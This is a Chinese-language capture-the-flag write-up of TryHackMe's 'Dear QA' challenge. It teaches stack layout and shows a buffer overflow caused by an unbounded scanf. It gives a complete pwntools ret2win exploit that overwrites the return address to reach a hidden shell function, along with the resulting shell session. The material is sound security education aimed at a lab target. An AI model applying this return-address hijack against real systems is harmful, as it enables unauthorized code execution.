> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Dear QA writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-dear-qa-writeup-zh-tw/
- Published: 2025-10-29T07:35:55.000Z
- Updated: 2026-07-15T02:50:08.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, #pwn, #entry

## 📋 目標資訊

- Target IP: `10.201.72.213`
- Port: `5700`
- Binary: `DearQA-1627223337406.DearQA` (ELF 64-bit)
- 目標: 利用 buffer overflow 執行 `vuln()` 函數獲得 shell
- 題目連結: [https://tryhackme.com/room/dearqa](https://tryhackme.com/room/dearqa?ref=taiwanding.com)

## 🔍 第一步：檔案分析

### 檢查二進位檔案架構

```bash
file DearQA

```

輸出結果：

```
DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, 
BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

```

**Binary Architecture**: `x64` (或 `x86-64`)

### 為什麼是 x64？

從反編譯代碼(下面其實才會有反編譯的詳細步驟，這裡可以做為額外佐證)，可以看出幾個關鍵證據：

1. **暫存器命名**: 使用 `rsp`、`rbp` (64-bit)，而非 `esp`、`ebp` (32-bit)
2. **指標大小**: 使用 `__int64` 型別，指標為 8 bytes

## 📖 Pwn 基礎知識：理解 Stack

> 這部分包含完整的入門討論，幫助理解 buffer overflow 的原理

### Stack 是什麼？

當程式執行時，會在記憶體中建立一個叫做 **Stack (堆疊)** 的區域，想像 Stack 就像一疊盤子：

```
┌──────────────────┐  ← 高位址 (0x7fff...)
│                  │
│    Stack 區域     │  
│   (由上往下長)    │
│                  │
└──────────────────┘  ← 低位址 (0x0000...)

```

### 什麼叫「由上往下長」？

記憶體位址就像門牌號碼，數字越大代表「高位址」。當程式需要更多 stack 空間時，它會往**低位址**的方向延伸：

```
位址 0x7fff0020  ← Stack 開始的地方
位址 0x7fff0018  ← 放第一個變數
位址 0x7fff0010  ← 放第二個變數（往下長）
位址 0x7fff0008  ← 放第三個變數（繼續往下）

```

**類比**: 就像從第 100 樓往下蓋到第 1 樓，樓層號碼越來越小。

### 函數呼叫時的 Stack 結構

當 `main()` 被呼叫時，Stack 依序建立：

#### 步驟 1：CALL 指令

```
┌─────────────────────┐  
│  return address     │ ← CPU 自動 push 返回地址
└─────────────────────┘  

```

#### 步驟 2：進入函數

```
┌─────────────────────┐  
│  return address     │  
├─────────────────────┤
│  saved rbp          │ ← 保存舊的 base pointer
└─────────────────────┘  

```

#### 步驟 3：分配局部變數

```c
char v4[32];  // 需要 32 bytes 空間

```

Stack **繼續往下長**：

```
┌─────────────────────┐  高位址
│  return address     │  ← rbp+8
├─────────────────────┤
│  saved rbp          │  ← rbp+0
├─────────────────────┤
│                     │
│  v4[32 bytes]       │  ← rbp-32 (最後分配，所以在低位址)
│                     │
└─────────────────────┘  低位址

```

**關鍵觀念**:

- 先進 stack 的東西在高位址 (return address)
- 後進 stack 的東西在低位址 (v4)
- 我們的輸入會從低位址開始寫入！

## 🔍 第二步：反編譯分析

從 Hex-Rays 反編譯的代碼發現兩個關鍵函數：

[Decompiler ExplorerDecompiler Explorer is an interactive online decompiler which shows equivalent C-like output of decompiled programs from many popular decompilers.![](https://taiwanding.com/content/images/icon/apple-touch-icon-2.png)Decompiler Explorer![](https://taiwanding.com/content/images/thumbnail/dogbolt.0138e8c3255b-1.png)](https://dogbolt.org/?id=e20e11fe-80b8-4ea6-adce-8d390ee248da&ref=taiwanding.com#Hex-Rays=181)

### 1\. vuln() - 隱藏的後門函數

```c
//----- (0000000000400686) ----------------------------------------------------
int vuln()
{
  puts("Congratulations!");
  puts("You have entered in the secret function!");
  fflush(stdout);
  return execve("/bin/bash", 0, 0);  // ← 直接給 shell！
}

```

**關鍵發現**:

- 函數位址: `0x400686`
- 功能: 執行 `/bin/bash` 獲得 shell
- **問題**: main() 沒有呼叫這個函數！

### 2\. main() - 有漏洞的主函數

```c
//----- (00000000004006C3) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF  ← 只有 32 bytes！

  puts("Welcome dearQA");
  puts("I am sysadmin, i am new in developing");
  printf("What's your name: ");
  fflush(stdout);
  __isoc99_scanf("%s", v4);  // ⚠️ 沒有長度檢查！
  printf("Hello: %s\n", v4);
  return 0;
}

```

**漏洞分析**:

- `v4` 緩衝區只有 32 bytes
- `scanf("%s")` 沒有長度限制
- 可以寫入超過 32 bytes，造成**緩衝區溢出**！

### 從註解推算 Stack Layout

關鍵資訊: `[rbp-20h]` 表示 v4 起始於 `rbp - 0x20` (rbp - 32)

```
rbp+8   ← return address (目標！)
rbp+0   ← saved rbp
rbp-8   ← v4[24~31]
rbp-16  ← v4[16~23]
rbp-24  ← v4[8~15]
rbp-32  ← v4[0~7] (v4 的起始位置)

```

**計算偏移量**:

- 填滿 v4: 32 bytes
- 覆蓋 saved rbp: 8 bytes
- **總計**: 需要 40 bytes 才能到達 return address

## 攻擊原理：控制程式流程

### Return Address 是什麼？

當函數執行完畢，它需要知道「要回到哪裡繼續執行」。

#### 正常流程：

```c
int main() {
  printf("A");
  some_function();  // ← 呼叫函數，跳走
  printf("B");      // ← 執行完要回來這裡！
  return 0;
}

```

**Return Address** 記錄著「要回去的地方」的位址。

### 我們的攻擊策略

#### 正常情況：

```
main() 執行到最後
  ↓
讀取 return address (回到系統)
  ↓
程式正常結束

```

#### 攻擊後：

```
main() 執行到最後
  ↓
讀取 return address (被改成 0x400686)
  ↓
跳到 vuln() 函數！
  ↓
execve("/bin/bash") ← 獲得 shell！

```

### 如何「改」return address？

利用 `scanf` 的漏洞，輸入超長字串：

```
輸入 50 個字元時：
┌─────────────────────┐
│  return address     │ ← 最後 8 個字元寫到這！
├─────────────────────┤
│  saved rbp          │ ← 中間 8 個字元寫到這
├─────────────────────┤
│  v4[32 bytes]       │ ← 前 32 個字元寫到這
└─────────────────────┘

```

**溢出了！** 我們可以控制 return address！

## 第三步：編寫 Exploit

### 為什麼要用 p64() 包裝地址？

地址在記憶體中使用 **Little-Endian (小端序)** 儲存：

```
地址: 0x0000000000400686

❌ 錯誤寫法：
00 00 00 00 00 40 06 86

✅ 正確寫法 (little-endian)：
86 06 40 00 00 00 00 00
   ↑  ↑  ↑
 低位 → 高位 (反過來)

```

**pwntools 的 p64() 自動處理這個轉換！**

```python
# 手動方式（容易出錯）
addr = b'\x86\x06\x40\x00\x00\x00\x00\x00'

# 使用 pwntools（推薦）
from pwn import *
addr = p64(0x400686)  # 自動轉成正確的 byte 順序

```

### 完整 Exploit 代碼

```python
from pwn import *

# 目標資訊
host = '10.201.72.213'
port = 5700

# vuln 函數位址
vuln_addr = 0x400686

# 連接
io = remote(host, port)

# 構造 payload
payload = b'A' * 32       # 填滿 32 bytes buffer
payload += b'B' * 8       # 覆蓋 saved rbp (8 bytes)
payload += p64(vuln_addr) # 覆蓋返回地址為 vuln()

# 發送 payload
io.recvuntil(b'name: ')
io.sendline(payload)

# 獲得 shell 後執行命令
io.interactive()
```

### Payload 結構圖

```
[AAAAAAAA...32 bytes...][BBBBBBBB][0x400686]
 ↑                      ↑          ↑
 填滿 v4                覆蓋 rbp   覆蓋 return address

```

## 第四步：執行 Exploit

### 執行腳本

```bash
python3 solve.py

```

### 成功獲得 Shell

```
[+] Opening connection to 10.201.72.213 on port 5700: Done
[*] Switching to interactive mode
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x86\x06@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
$ 

```

✅ 成功跳轉到 `vuln()` 並獲得 shell！

## 第五步：取得 Flag

### 尋找 Flag

```bash
$ ls
DearQA
flag.txt

$ cat flag.txt
THM{Redacted}

```

✅ 成功取得 Flag！

## 📚 技術要點總結

### Buffer Overflow 基礎概念

- ✅ Stack 結構：理解「由上往下長」的概念
- ✅ Stack Layout：return address → saved rbp → local variables
- ✅ 函數呼叫：CALL 指令自動 push return address

## 經驗分享

這一題是筆者的入門pwn，我參與所有CTF都會跳過pwn的題目，但今天想要來入門，下面附上跟Claude AI討論的東西，

🎓 入門者常見問題  
Q: 為什麼我的輸入直接放在低位址？  
A: 因為 Stack 往下長！局部變數是**最後**分配的，所以在最低的位址，先進 Stack 的 return address 反而在高位址。

Q: 為什麼可以控制程式流程？  
A: 因為覆蓋了 return address。當 main() 執行 `return` 時，CPU 會從 Stack 讀取 return address 並跳轉，我們把它改成 vuln() 的地址，程式就跳到那裡了！

Q: 如果沒有 vuln() 這種現成函數怎麼辦？  
A: 這就是進階技巧了！可以使用：

- **ret2libc**: 呼叫系統函數 (如 system())
- **ROP**: 拼湊程式內的指令片段
- **Shellcode**: 注入自己的機器碼

Q: 為什麼要用 p64() 而不是直接寫地址？  
A: 因為 x86-64 使用 Little-Endian，地址在記憶體中是反過來存的，`p64()` 會自動幫你轉換成正確的 byte 順序。

## 🎉 結論

這題是非常經典的 **ret2win** 類型題目，完美展示了：

1. Buffer Overflow 的基本原理
2. Stack 的結構與運作方式
3. 如何控制程式執行流程
4. Exploit 開發的基礎技巧